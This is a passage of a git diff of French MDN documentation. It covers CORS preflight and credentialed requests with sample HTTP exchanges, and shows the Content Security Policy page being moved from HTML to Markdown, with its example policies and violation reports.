Une requête devra être précédée d'une requête préliminaire si une des conditions suivantes est respectée :

+ + + +
+

Note : WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS et Switch to a blacklist model for restricted Accept headers in simple CORS requests. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.

+
+ +

Voici un exemple d'une requête qui devra être précédée d'une requête préliminaire :

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://truc.autre/resources/post-here/';
+var body = '<?xml version="1.0"?><personne><nom>Toto</nom></personne>';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+
+ +

Dans le fragment de code ci-avant, à la ligne 3, on crée un corps XML envoyé avec la requête POST ligne 8. Sur la ligne 9, on voit également un en-tête de requête HTTP non standard : X-PINGOTHER: pingpong. De tels en-têtes ne sont pas décrits par le protocole HTTP/1.1 mais peuvent être utilisés par les applications web. La requête utilisant un en-tête Content-Type qui vaut application/xml et un en-tête spécifique, il est nécessaire d'envoyer au préalable une requête préliminaire.

+ +

+ +
+

Note : Comme décrit après, la vraie requête POST n'inclut pas les en-têtes Access-Control-Request-* qui sont uniquement nécessaires pour la requête OPTIONS.

+
+ +

Voyons ce qui se passe entre le client et le serveur. Le premier échange est la requête/réponse préliminaire :

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: truc.autre
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://toto.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://toto.example
+Access-Control-Allow-Methods: POST, GET
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+ +

Une fois que la requête préliminaire est effectuée, la requête principale est envoyée :

+ +
POST /resources/post-here/ HTTP/1.1
+Host: truc.autre
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://toto.example/exemples/preflightInvocation.html
+Content-Length: 55
+Origin: http://toto.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+<?xml version="1.0"?><personne><nom>Toto</nom></personne>
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://toto.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Une charge utile GZIPée]
+
+ +

Entre les lignes 1 à 12 qui précèdent, on voit la requête préliminaire avec la méthode {{HTTPMethod("OPTIONS")}}. Le navigateur détermine qu'il est nécessaire d'envoyer cela à cause des paramètres de la requête fournie par le code JavaScript. De cette façon le serveur peut répondre si la requête principale est acceptable et avec quels paramètres. OPTIONS est une méthode HTTP/1.1 qui est utilisée afin de déterminer de plus amples informations à propos du serveur. La méthode OPTIONS est une méthode « sûre » (safe) et ne change aucune ressource. On notera, qu'avec la requête OPTIONS, deux autres en-têtes sont envoyés (cf. lignes 10 et 11) :

+ +
Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+ +

L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} indique au serveur, pendant la requête préliminaire, que la requête principale sera envoyée avec la méthode POST. L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que la requête principale sera envoyée avec un en-tête X-PINGOTHER et un en-tête Content-Type spécifique. Le serveur peut alors déterminer s'il souhaite accepter une telle requête.

+ +

Dans les lignes 14 à 26 qui suivent, on voit la réponse renvoyée par le serveur qui indique que la méthode de la requête (POST) ainsi que ses en-têtes (X-PINGOTHER) sont acceptables. Voici ce qu'on peut notamment lire entre les lignes 17 et 20 :

+ +
Access-Control-Allow-Origin: http://toto.example
+Access-Control-Allow-Methods: POST, GET
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+ +

Le serveur répond avec un en-tête Access-Control-Allow-Methods et indique que les méthodes POST et GET sont acceptables pour manipuler la ressource visée. On notera que cet en-tête est semblable à l'en-tête de réponse {{HTTPHeader("Allow")}}, toutefois, Access-Control-Allow-Methods est uniquement utilisé dans le cadre du contrôle d'accès.

+ +

Le serveur envoie également l'en-tête Access-Control-Allow-Headers avec une valeur "X-PINGOTHER, Content-Type" qui confirme que les en-têtes souhaités sont autorisés pour la requête principale. Comme Access-Control-Allow-Methods, Access-Control-Allow-Headers est une liste d'en-têtes acceptables séparés par des virgules.

+ +

Enfin, l'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique avec une valeur exprimée en secondes, la durée pendant laquelle cette réponse préliminaire peut être mise en cache avant la prochaine requête préliminaire. Ici, la réponse est 86400 secondes, ce qui correspond à 24 heures. On notera ici que chaque navigateur possède un maximum interne qui a la priorité lorsque Access-Control-Max-Age lui est supérieur.

+ +

Requêtes préliminaires et redirection

+ +

À l'heure actuelle, la plupart des navigateurs ne prennent pas en charge les redirections pour les requêtes préliminaires. Si une redirection se produit pour une requête préliminaire, la plupart des navigateurs émettront un message d'erreur semblables à ceux-ci.

+ +
+

La requête a été redirigée vers 'https://example.com/toto', ce qui n'est pas autorisé pour les requêtes multi-origines qui doivent être précédées d'une requête préliminaire. (The request was redirected to 'https://example.com/toto', which is disallowed for cross-origin requests that require preflight.)

+
+ +
+

Il est nécessaire d'effectuer une requête préliminaire pour cette requête, or, ceci n'est pas autorisé pour suivre les redirections multi-origines. (Request requires preflight, which is disallowed to follow cross-origin redirect.)

+
+ +

Le protocole CORS demandait initialement ce comportement. Toutefois, il a été modifié et ces erreurs ne sont plus nécessaires. Toutefois, la plupart des navigateurs n'ont pas encore implémenté cette modification et conservent alors le comportement conçu initialement.

+ +

En attendant que les navigateurs comblent ce manque, il est possible de contourner cette limitation en utilisant l'une de ces deux méthodes :

+ + + +

S'il n'est pas possible d'appliquer ces changements, on peut également :

+ +
    +
  1. Effectuer une requête simple (avec Response.url si on utilise l'API Fetch ou  XHR.responseURL si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire.
    2. +
  2. Effectuer la requête initialement souhaitée avec l'URL réelle obtenue à la première étape.
    3. +
+ +

Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème.

+ +

Requêtes avec informations d'authentification

+ +

Une des fonctionnalités intéressante mise en avant par le CORS (via {{domxref("XMLHttpRequest")}} ou Fetch) est la possibilité d'effectuer des requêtes authentifiées reconnaissant les cookies HTTP et les informations d'authentification HTTP. Par défaut, lorsqu'on réalise des appels {{domxref("XMLHttpRequest")}} ou Fetch entre différents sites, les navigateurs n'enverront pas les informations d'authentification. Pour cela, il est nécessaire d'utiliser une option spécifique avec le constructeur {{domxref("XMLHttpRequest")}} ou {{domxref("Request")}} lorsqu'on l'appelle.

+ +

Dans cet exemple, le contenu chargé depuis http://toto.example effectue une requête GET simple vers une ressource située sous http://truc.autre qui définit des cookies. Voici un exemple de code JavaScript qui pourrait se trouver sur toto.example :

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://truc.autre/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+ +

À la ligne 7, on voit que l'option withCredentials, du constructeur {{domxref("XMLHttpRequest")}}, doit être activée pour que l'appel utilise les cookies. Par défaut, l'appel sera réalisé sans les cookies. Cette requête étant une simple requête GET, il n'est pas nécessaire d'avoir une requête préliminaire. Cependant, le navigateur rejettera tout réponse qui ne possède pas l'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}}: true et la réponse correspondante ne sera pas disponible pour le contenu web qui l'a demandée.

+ +

+ +

Voici un exemple d'échange entre le client et le serveur :

+ +
GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: truc.autre
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://toto.example/exemples/credential.html
+Origin: http://toto.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://toto.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+
+ +

Bien que la ligne 11 contienne le cookie pour le contenu sous http://truc.autre, si truc.autre n'avait pas répondu avec {{HTTPHeader("Access-Control-Allow-Credentials")}}: true (cf. ligne 19), la réponse aurait été ignorée et n'aurait pas pu être consommée par le contenu web.

+ +

Requêtes authentifiées et jokers (wildcards)

+ +

Lorsqu'il répond à une requête authentifiée, le serveur doit indiquer une origine via la valeur de l'en-tête Access-Control-Allow-Origin, il ne doit pas utiliser le joker "*".

+ +

Avec la requête précédente, on voit la présence d'un en-tête Cookie mais la requête échouerait si la valeur de l'en-tête de réponse Access-Control-Allow-Origin était "*". Ici, ce n'est pas le cas : Access-Control-Allow-Origin vaut "http://toto.example" et le contenu récupéré par la requête est alors envoyé au contenu web.

+ +

Dans cet exemple, on notera également que l'en-tête de réponse Set-Cookie définit un autre cookie. En cas d'échec, une exception (dépendant de l'API utilisée) sera levée.

+ +

Cookies tiers

+ +

On notera que les cookies provenant de réponses CORS sont également sujets aux règles qui s'appliquent aux cookies tiers. Dans l'exemple précédent, la page est chargée depuis toto.example et, à la ligne 22, le cookie est envoyé par truc.autre. Aussi, ce cookie n'aurait pas été enregistré si l'utilisateur avait paramétré son navigateur pour rejeter les cookies tiers.

+ +

En-têtes de réponse HTTP

+ +

Dans cette section, on liste les en-têtes de réponse HTTP qui sont renvoyés par le serveur pour le contrôle d'accès, tels que définis par la spécification Cross-Origin Resource Sharing. La section précédente illustre, avec des exemples concrets, leur fonctionnement.

+ +

Access-Control-Allow-Origin

+ +

Une ressource de réponse peut avoir un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} avec la syntaxe suivante :

+ +
Access-Control-Allow-Origin: <origin> | *
+
+ +

Le paramètre origin définit un URI qui peut accéder à la ressource. Le navigateur doit respecter cette contrainte. Pour les requêtes qui n'impliquent pas d'informations d'authentification, le serveur pourra indiquer un joker ("*") qui permet à n'importe quelle origine d'accéder à la ressource.

+ +

Si on souhaite, par exemple, autoriser http://mozilla.org à accéder à la ressource, on pourra répondre avec :

+ +
Access-Control-Allow-Origin: http://mozilla.org
+ +

Si le serveur indique une origine spécifique plutôt que "*", il pourra également inclure la valeur Origin dans l'en-tête de réponse {{HTTPHeader("Vary")}} pour indiquer au client que la réponse du serveur variera selon la valeur de l'en-tête de requête {{HTTPHeader("Origin")}}.

+ +

Access-Control-Expose-Headers

+ +

L'en-tête {{HTTPHeader("Access-Control-Expose-Headers")}} fournit une liste blanche des en-têtes auxquels les navigateurs peuvent accéder. Ainsi :

+ +
Access-Control-Expose-Headers: X-Mon-En-tete-Specifique, X-Un-Autre-En-tete
+
+ +

Cela permettra que les en-têtes X-Mon-En-tete-Specifique et X-Un-Autre-En-tete soient utilisés par le navigateur.

+ +

Access-Control-Max-Age

+ +

L'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique la durée pendant laquelle le résultat de la requête préliminaire peut être mis en cache (voir les exemples ci-avant pour des requêtes impliquant des requêtes préliminaires).

+ +
Access-Control-Max-Age: <delta-en-secondes>
+
+ +

Le paramètre delta-en-seconds indique le nombre de secondes pendant lesquelles les résultats peuvent être mis en cache.

+ +

Access-Control-Allow-Credentials

+ +

L'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}} indique si la réponse à la requête doit être exposée lorsque l'option credentials vaut true. Lorsque cet en-tête est utilisé dans une réponse préliminaire, cela indique si la requête principale peut ou non être effectuée avec des informations d'authentification. On notera que les requêtes GET sont des requêtes simples et si une requête est effectuée, avec des informations d'authentification pour une ressource, et que cet en-tête n'est pas renvoyé, la réponse sera ignorée par le navigateur et sa charge ne pourra pas être consommée par le contenu web.

+ +
Access-Control-Allow-Credentials: true
+
+ +

Voir les scénarios ci-avant pour des exemples.

+ +

Access-Control-Allow-Methods

+ +

L'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique la ou les méthodes qui sont autorisées pour accéder à la ressoure. Cet en-tête est utilisé dans la réponse à la requête préliminaire (voir ci-avant les conditions dans lesquelles une requête préliminaire est nécessaire).

+ +
Access-Control-Allow-Methods: <methode>[, <methode>]*
+
+ +

Voir un exemple ci-avant pour l'utilisation de cet en-tête.

+ +

Access-Control-Allow-Headers

+ +

L'en-tête {{HTTPHeader("Access-Control-Allow-Headers")}} est utilisé dans une réponse à une requête préliminaire afin d'indiquer les en-têtes HTTP qui peuvent être utilisés lorsque la requête principale est envoyée.

+ +
Access-Control-Allow-Headers: <nom-champ>[, <nom-champ>]*
+
+ +

En-têtes de requête HTTP

+ +

Dans cette section, nous allons décrire les en-têtes que les clients peuvent utiliser lors de l'envoi de requêtes HTTP afin d'exploiter les fonctionnalités du CORS. Ces en-têtes sont souvent automatiquement renseignés lors d'appels aux serveurs. Les développeurs qui utilisent {{domxref("XMLHttpRequest")}} pour les requêtes multi-origines n'ont pas besoin de paramétrer ces en-têtes dans le code JavaScript.

+ +

Origin

+ +

L'en-tête {{HTTPHeader("Origin")}} indique l'origine de la requête (principale ou préliminaire) pour l'accès multi-origine.

+ +
Origin: <origine>
+
+ +

L'origine est un URI qui indique le serveur à partir duquel la requête a été initiée. Elle n'inclut aucune information relative au chemin mais contient uniquement le nom du serveur.

+ +
+

Note : origine peut être une chaîne vide (ce qui s'avère notamment utile lorsque la source est une URL de donnée).

+
+ +

Pour chaque requête avec contrôle d'accès, l'en-tête {{HTTPHeader("Origin")}} sera toujours envoyé.

+ +

Access-Control-Request-Method

+ +

L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} est utilisé lorsqu'on émet une requête préliminaire afin de savoir quelle méthode HTTP pourra être utilisée avec la requête principale.

+ +
Access-Control-Request-Method: <methode>
+
+ +

Voir ci-avant pour des exemples d'utilisation de cet en-tête.

+ +

Access-Control-Request-Headers

+ +

L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} est utilisé lorsqu'on émet une requête préliminaire afin de communiquer au serveur les en-têtes HTTP qui seront utilisés avec la requête principale.

+ +
Access-Control-Request-Headers: <nom-champ>[, <nom-champ>]*
+
+ +

Voir ci-avant pour des exemples d'utilisation de cet en-tête.

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}Nouvelle définition, remplace la spécification W3C pour le CORS.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

Notes de compatibilité

+ + + +

Voir aussi

+ + \ No newline at end of file diff --git a/files/fr/web/http/csp/index.html b/files/fr/web/http/csp/index.html deleted file mode 100644 index fa2f565dd8..0000000000 --- a/files/fr/web/http/csp/index.html +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: Content Security Policy (CSP) -slug: Web/HTTP/CSP -tags: - - CSP - - Content Security Policy - - Reference - - Security -translation_of: Web/HTTP/CSP ---- -
{{HTTPSidebar}}
- -

Une Content Security Policy ({{Glossary("CSP")}}) ou stratégie de sécurité du contenu permet d'améliorer la sécurité des sites web en permettant de détecter et réduire certains types d'attaques, dont les attaques {{Glossary("XSS")}} (Cross Site Scripting) et les injections de contenu. Ces attaques peuvent être utilisées dans divers buts, comme le vol de données, le défacement de site ou la diffusion de malware.

- -

CSP a été conçu pour être complètement rétro-compatible (à l'exception de la version 2 dans laquelle existent des incompatibilités décrites explicitement comme telles ; pour plus d'informations, se référer à la documentation du w3c (en anglais)). D'une part : les navigateurs qui ne prennent pas en charge le CSP fonctionnent parfaitement avec les serveurs qui l'implémentent et inversement. D'autre part, lorsque les sites ne fournissent pas les en-têtes correspondant, les navigateurs utilisent la règle de même origine (same-origin policy) pour les contenus.

- -

Pour activer CSP, vous devez configurer vos serveurs web afin d'ajouter un en-tête (header) HTTP {{HTTPHeader("Content-Security-Policy")}} aux réponses. Vous pouvez rencontrer des documents qui mentionnent X-Content-Security-Policy comme en-tête, il s'agit d'une version obsolète qu'il n'est plus utile de supporter.

- -

Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta")}} pour configurer la règle, par exemple : <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

- -

Menaces

- -

Réduction des attaques cross site scripting (XSS)

- -

L'un des objectifs de CSP est la réduction et le rapport d'attaques XSS (injections de contenu). Les attaques XSS exploitent la confiance que les navigateurs ont dans le contenu reçu des serveurs. Des scripts malveillants peuvent être exécutés par le navigateur d'une victime parce que le navigateur fait confiance au serveur qui lui envoie des données même quand le contenu ne vient pas de là où il semble venir.

- -

CSP permet aux administrateurs système de réduire ou éliminer les moyens de réaliser des attaques XSS en permettant de spécifier les domaines autorisés à fournir des scripts pour la page visitée. Un navigateur compatible avec CSP n'exécute que les scripts provenant d'une origine autorisée par les règles CSP reçues et ignore ceux qui ne sont pas autorisés. On peut ainsi bloquer les domaines non autorisés, les scripts inline (inclus dans une page HTML) ou associés à des événements via les attributs HTML dédiés.

- -

Pour un niveau de protection le plus élevé possible, un site qui voudrait qu'aucun script ne puisse être exécuté peut désactiver tout simplement l'exécution de tout script.

- -

Empêcher les écoutes du trafic

- -

En plus de restreindre les domaines à partir desquels le contenu peut être chargé, le serveur peut indiquer quels protocoles doivent être utilisés et par exemple forcer l'utilisation de HTTPS afin d'améliorer la sécurité. Une stratégie de sécurité complète pour la transmission des données peut non seulement forcer l'utilisation de TLS via HTTPS mais aussi forcer l'utilisation de cookies sécurisés (qui ne peuvent être envoyés qu'en HTTPS) et indiquer de convertir automatiquement toutes les requêtes qui auraient été faites en HTTP simple en requêtes HTTPS. L'utilisation de l'en-tête {{HTTPHeader("Strict-Transport-Security")}} permet de s'assurer que les navigateurs utilisent obligatoirement des connexions chiffrées en TLS (HTTPS).

- -

Utiliser CSP

- -

Configurer une stratégie CSP nécessite d'utiliser un en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour une page web et de spécifier une valeur pour contrôler les ressources que le navigateur est autorisé à charger pour cette page. Ainsi, une page qui charge et affiche des images peut autoriser les images stockées n'importe où mais n'autoriser les envois de formulaires que vers certaines adresses.

- -

Créer votre règle CSP

- -

On peut utiliser l'en-tête HTTP {{HTTPHeader("Content-Security-Policy")}} pour définir la règle ainsi :

- -
Content-Security-Policy: règle
- -

La règle est une chaîne de caractères contenant la liste des règles qui constituent la règle CSP.

- -

Écrire une règle

- -

Une règle est définie par une série de directives qui décrivent chacune le comportement attendu pour un certain type de contenu ou pour l'ensemble des requêtes. Une règle peut inclure une directive {{CSP("default-src")}} pour la règle par défaut qui s'applique aux ressources pour lesquelles aucune règle n'est définie. Pour les autres types de règle, on pourra se référer à la page {{CSP("default-src")}}. Pour bloquer les scripts intégrés au code HTML (JavaScript inline) et l'utilisation de eval(), une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("script-src")}}. Pour bloquer les modifications de style intégrées au code HTML (CSS inline avec les attributs HTML {{HTMLElement("style")}}) et l'utilisation des balises style, une règle doit au moins contenir une directive {{CSP("default-src")}} ou {{CSP("style-src")}}.

- -

Exemples pour les cas courants

- -

Cette section propose des règles CSP pour les scenarios les plus classiques.

- -

Exemple 1

- -

Ici, on souhaite que tout le contenu du site soit fourni par la même origine (on exclut les sous-domaines) :

- -
Content-Security-Policy: default-src 'self';
- -

Exemple 2

- -

Pour un site dont tout le contenu est fourni par le site lui-même ou par les sous-domaines de source-sure.example.net (qui peut être un autre site) :

- -
Content-Security-Policy: default-src 'self' *.source-sure.example.net
- -

Exemple 3

- -

Pour un site dont les images peuvent venir de n'importe où, les musiques et vidéos de toto.local ou tata.local, les scripts par scripts.local :

- -
Content-Security-Policy: default-src 'self'; img-src *; media-src toto.local tata.local; script-src scripts.local
- -

Ici, les contenus doivent par défaut venir de la même origine que la page avec les exceptions précédemment décrites. Cela peut permettre aux utilisateurs d'afficher des images quelconques, mais de ne faire confiance qu'à certains domaines pour les musiques, vidéos et scripts.

- -

Exemple 4

- -

Pour un site dont les données sont critiques/privées et pour lequel toutes les données devraient être transmises en HTTPS depuis un domaine précis :

- -
Content-Security-Policy: default-src https://confidentiel.example.net
- -

Cette règle force l'utilisation de HTTPS et exclut tout usage de contenu ne venant pas de https://confidentiel.example.net.

- -

Exemple 5

- -

Pour un webmail qui permet d'afficher des mails incluant de l'HTML, des images provenant de n'importe où mais pas de JavaScript ou d'autres contenus potentiellement dangereux :

- -
Content-Security-Policy: default-src 'self'; img-src *; child-src: *
- -

On notera que dans cet exemple, on n'a pas de directive {{CSP("script-src")}}. C'est la directive default-src qui indique le comportement par défaut et donc qui limite le chargement des scripts à l'origine.

- -

Tester une règle CSP

- -

Pour faciliter le déploiement de CSP, on peut configurer le serveur afin de rapporter uniquement les violations de règle sans appliquer réellement la règle. Ainsi, on peut s'assurer que la règle ne bloque pas les usages du site en récupérant les rapports de violation de la règle en test. On peut aussi tester des modifications d'une règle en place via ce même mécanisme.

- -

Pour cela, il suffit d'utiliser l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}, comme cela :

- -
Content-Security-Policy-Report-Only: règle
- -

Si les en-têtes HTTP {{HTTPHeader("Content-Security-Policy-Report-Only")}} et {{HTTPHeader("Content-Security-Policy")}} sont tous deux présents dans la réponse du serveur, les deux règles seront respectées, ce qui permet le test d'une nouvelle règle quand il y en a déjà une en place.

- -

La règle indiquée par Content-Security-Policy est appliquée tandis que celle fourni par Content-Security-Policy-Report-Only génère des rapports mais n'est pas appliquée.

- -

Si une règle contient une directive {{CSP("report-uri")}} valide, les navigateurs qui prennent en charge CSP doivent envoyer un rapport pour chaque violation de la règle qu'ils détectent.

- -

Gérer les rapports

- -

Par défaut, les violations de la règle de sécurité ne sont pas rapportées. Pour avoir des rapports de violation, il faut fournir directive {{CSP("report-uri")}} avec au moins une URL valide à laquelle envoyer les rapports :

- -
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
- -

Il faut également configurer le serveur qui doit recevoir les rapports pour traiter les rapports en question et par exemple les stocker afin de les consulter.

- -

Syntaxe des rapports de violation

- -

Le rapport est un objet JSON qui contient :

- -
-
blocked-uri
-
L'URI de la ressource dont le chargement a été bloqué à cause du CSP. Si l'URI bloqué provient d'une origine différente de celle indiquée via document-uri, l'URI bloqué est tronqué et ne contient que le schéma, l'hôte et le port.
-
disposition
-
La chaîne "report" si l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} a été utilisée ou "enforce" si Content-Security-Policy a été utilisée.
-
document-uri
-
L'URI du document pour lequel la violation a eu lieu.
-
effective-directive
-
La directive dont le non-respect a entraîné la violation.
-
original-policy
-
La règle telle qu'indiquée dans l'en-tête HTTP Content-Security-Policy.
-
referrer
-
Le referrer du document pour lequel la violation a eu lieu.
-
script-sample
-
Les 40 premiers caractères du script, du gestionnaire d'évènement ou du style qui a entraîné la violation.
-
status-code
-
Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.
-
violated-directive
-
Le nom de la directive, dans la règle, qui n'a pas été respectée.
-
- -

Exemple de rapport de violation de règle

- -

Si l'on considère une page http://example.com/connexion.html, qui utilise la règle CSP suivante (qui interdit tout par défaut et autorise les feuilles de style CSS provenant de cdn.example.com) :

- -
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
- -

et qui contient le code HTML suivant :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Connectez-vous</title>
-    <link rel="stylesheet" href="css/style.css">
-  </head>
-  <body>
-    ... Contenu ...
-  </body>
-</html>
- -

Dans cette situation, les clients qui visiteraient cette page la verrait avec les styles de base de leur navigateur car les feuilles de style autorisées ne peuvent venir que de cdn.example.com et non du site lui-même (l'origine même de la page) comme <link rel="stylesheet" href="css/style.css"> l'indique au navigateur. En outre, un navigateur (qui supporte CSP) enverrait le rapport de violation de règle CSP suivant à l'adresse http://example.com/_/csp-reports à chaque visite de la page dont il est question :

- -
{
-  "csp-report": {
-    "document-uri": "http://example.com/connexion.html",
-    "referrer": "",
-    "blocked-uri": "http://example.com/css/style.css",
-    "violated-directive": "style-src cdn.example.com",
-    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
-  }
-}
- -

Comme vous pouvez le constater, le rapport inclus l'URI complète de la ressource dans blocked-uri. Ce n'est le cas en général. Ainsi, si la page avait essayé de charger la feuille de style http://anothercdn.example.com/stylesheet.css, le navigateur aurait indiqué seulement "blocked-uri": "http://anothercdn.example.com/", c'est à dire l'origine et non l'URI complète car l'origine de la feuille bloquée est différente de l'origine du site lui-même. La spécification de la CSP, disponible en anglais sur le site du W3C, explique les raisons de ce comportement qui peut surprendre de prime abord. En résumé, ce comportement évite les risques de diffuser des informations confidentielles qui pourraient être incluses dans les URI des ressources provenant d'autres origines.

- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp")}}

- -

Il existe une incompatibilité spécifique dans certaines versions de Safari : si un en-tête Content-Security-Policy est défini mais qu'il n'y a pas d'en-tête Same-Origin , le navigateur bloquera le contenu du site courant et celui de l'extérieur en indiquant que la stratégie ne permet pas d'avoir ce contenu.

- -

Voir aussi

- - diff --git a/files/fr/web/http/csp/index.md b/files/fr/web/http/csp/index.md new file mode 100644 index 0000000000..fa2f565dd8 --- /dev/null +++ b/files/fr/web/http/csp/index.md @@ -0,0 +1,186 @@ +--- +title: Content Security Policy (CSP) +slug: Web/HTTP/CSP +tags: + - CSP + - Content Security Policy + - Reference + - Security +translation_of: Web/HTTP/CSP +--- +
{{HTTPSidebar}}
+ +

Une Content Security Policy ({{Glossary("CSP")}}) ou stratégie de sécurité du contenu permet d'améliorer la sécurité des sites web en permettant de détecter et réduire certains types d'attaques, dont les attaques {{Glossary("XSS")}} (Cross Site Scripting) et les injections de contenu. Ces attaques peuvent être utilisées dans divers buts, comme le vol de données, le défacement de site ou la diffusion de malware.

+ +

CSP a été conçu pour être complètement rétro-compatible (à l'exception de la version 2 dans laquelle existent des incompatibilités décrites explicitement comme telles ; pour plus d'informations, se référer à la documentation du w3c (en anglais)). D'une part : les navigateurs qui ne prennent pas en charge le CSP fonctionnent parfaitement avec les serveurs qui l'implémentent et inversement. D'autre part, lorsque les sites ne fournissent pas les en-têtes correspondant, les navigateurs utilisent la règle de même origine (same-origin policy) pour les contenus.

+ +

Pour activer CSP, vous devez configurer vos serveurs web afin d'ajouter un en-tête (header) HTTP {{HTTPHeader("Content-Security-Policy")}} aux réponses. Vous pouvez rencontrer des documents qui mentionnent X-Content-Security-Policy comme en-tête, il s'agit d'une version obsolète qu'il n'est plus utile de supporter.

+ +

Une autre possibilité consiste à utiliser l'élément HTML {{HTMLElement("meta")}} pour configurer la règle, par exemple : <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

+ +

Menaces

+ +

Réduction des attaques cross site scripting (XSS)

+ +

